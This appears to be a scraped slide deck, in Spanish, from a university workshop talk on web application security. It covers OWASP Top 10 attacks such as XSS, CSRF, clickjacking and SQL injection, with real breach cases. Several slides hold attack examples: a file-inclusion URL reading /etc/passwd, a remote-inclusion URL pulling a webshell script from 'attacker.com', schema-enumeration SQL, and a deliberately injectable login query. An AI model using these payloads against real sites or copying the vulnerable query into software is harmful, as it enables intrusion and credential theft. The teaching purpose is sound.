Seguridad en aplicaciones web

Embed Size (px)

DESCRIPTION

Diapositivas de la charla "Seguridad en Aplicaciones Web" durante las Jornadas del "IV Obradoiro de Criptografía, Privacidade e Seguridade" en la Facultad de Informática de A Coruña

Citation preview

  • 1. IV Obradoiro de Criptografa, Privacidade e Seguridade Seguridad en Aplicaciones Web Jose Mato Mario (FIC)

2. Cmo aprender seguridad web en laFIC?BBDDRedesPSIIUPHPJavascriptSQL 3. You are sexy and they know it!!SPAMRobo informacinDistribucin MalwareBotnetsViagra 4. OWASP Top 10 - 2010Guia de prcticas y recomendaciones que debentenerse en cuenta en el desarrollo seguro deaplicaciones web.Aparecen las 10 tcnicas ms explotadas a la horade hackear o atacar una aplicacin web. 5. OWASP TOP 10 Del 2007 al 2010 6. Cross Site Scripting (XSS)Tcnica de inyeccin de comandos en el lado delcliente (navegador)Lo que se busca es vulnerar al cliente, con el culsera posible llegar a vulnerar el servidorSe inyecta cdigo en parmetros que son recibidospor la Aplicacin Web Y que son entregadosdirectamente al cliente, donde se ejecutarnAl ejecutarse en el navegador se tiene acceso al100% de los datos de sesin del cliente dandolugar a un montn de ataques distintos 7. XSS FAILS eu2010 8. XSS FAILS movistar 9. XSS - ReflectedEl cdigo no est en los repositorios de datosLa inyeccin va en un parmetro de la url por GETEl usuario tiene que hacer clic en un enlacepreparadohttp://example.com=buscar.php= 10. XSS - PersistentLa inyeccin se almacena dentro de los repositorios de datos del servidorCuando alguien acceda a ese contenido se ejecutar (no hace falta que el usuario haga clic) 11. XSS - ConsecuenciasSecuestrar el navegador de otro usuario, robo de sesinCapturar informacin sensible que vean los usuariosDefacement, phishing...Envo dirigidos de exploits basados en navegador, BlackHoleEscaneo de puertos de equipos internos (en la red del usuario) 12. DEMOXSS REFLECTEDROBO DE SESIN 13. XSS - CSRFCross Site Request ForgeryPermite realizar acciones en la aplicacin web vulnerada como si fuese el propio usuario el que las realizahttp://example.com?buscar.php= 14. XSS - ClickjackingInyeccin de iframeSe carga una web (la ve el usuario)Se pone capa transparente encimaEl usuario hace clic en la web pero antes en la capa transparente :)Robo de clics => Autorizar accionesActivar webcam, likejacking, tapjacking, ... 15. DEMOClickJackingLikeJacking 16. Local File Inclusion (LFI)El atacante intentar leer archivos a los que no tiene accesohttp://example.com/index.php?module=/etc/passwd 17. Remote File Inclusion (RFI)Se inyecta un script (php, jsp, aspx, ) en la aplicacin vulnerableWebshellControl del servidorhttp://example.com/index.php?module=http://attacker.com/script.php 18. INSECURE OBJECT REFERENCEhttp://example.com/expediente.php?alumno=1536El atacante se da cuenta que 1536 es suidentificador de alumnoEl atacante modifica ese valor por otroAccede a los expedientes de otros alumnosEl parmetro vulnerable puede estar en laspeticiones por ajax (POST, GET) 19. SQL InjectionTcnica queconsiste enmodificar lasconsultas alorigen de datosalterdolaspara conseguirnuestrosobjetivos 20. SQL Injection - ObjetivosSuplantacin de roles (usuario a admin)Acceso a zonas no autorizadasInformacin confidencialLeer archivos del servidor (/etc/passwd,/etc/shadow)Infeccin del site 21. SQL Injection - LilupophilupopBuscaba vulnerabilidades SQL Injection en dominios bajo ASP o Coldfusion con base de datos Microsoft SQL ServerMs de 1,000.000 de dominios afectados utilizados para distribuir malware, redirigiendo a los usuarios con XSS Persistente 22. SQL Injection - Lilupophilupop 23. SQL Injection - HBGaryhttp://www.hbgaryfederal.com/pages.php?pageNav=2&page=27Listado de usuario con claves hasheadasPERO Aaron Barr tena letras minsculas y nmerosnicamente, por lo tanto...Acceso al CMSReseteo claves correo a Aaron BarrIngeniera Social => acceso correo => SSHNOTA: Aaron Barr utilizaba lamisma clave para varios servicios 24. SQL Injection - DEMOBuscar la vulnerabilidad1. N de columnas2. Tablas y BBDD3. Columnas de tabla usuarios4. Emails y passwords5. Login :) 25. SQL Injection - MySQLSELECT schema_name FROM information_schema.SCHEMATASELECT table_schema,table_name FROM information_schema.TABLESSELECT column_name,column_type FROM information_schema.COLUMNS WHERE table_name=%s AND table_schema=%s 26. SQL Injectionlogin.phpSELECT *FROM usuariosWHERE email = $_GET[email]AND password = $_GET[password] 27. Seguridad CMSPluginsWordpress => wpscanJoomla => joomlascan 28. IV Obradoiro de Criptografa, Privacidade e Seguridade [EOF] Gracias :)Jose Mato Mario(FIC)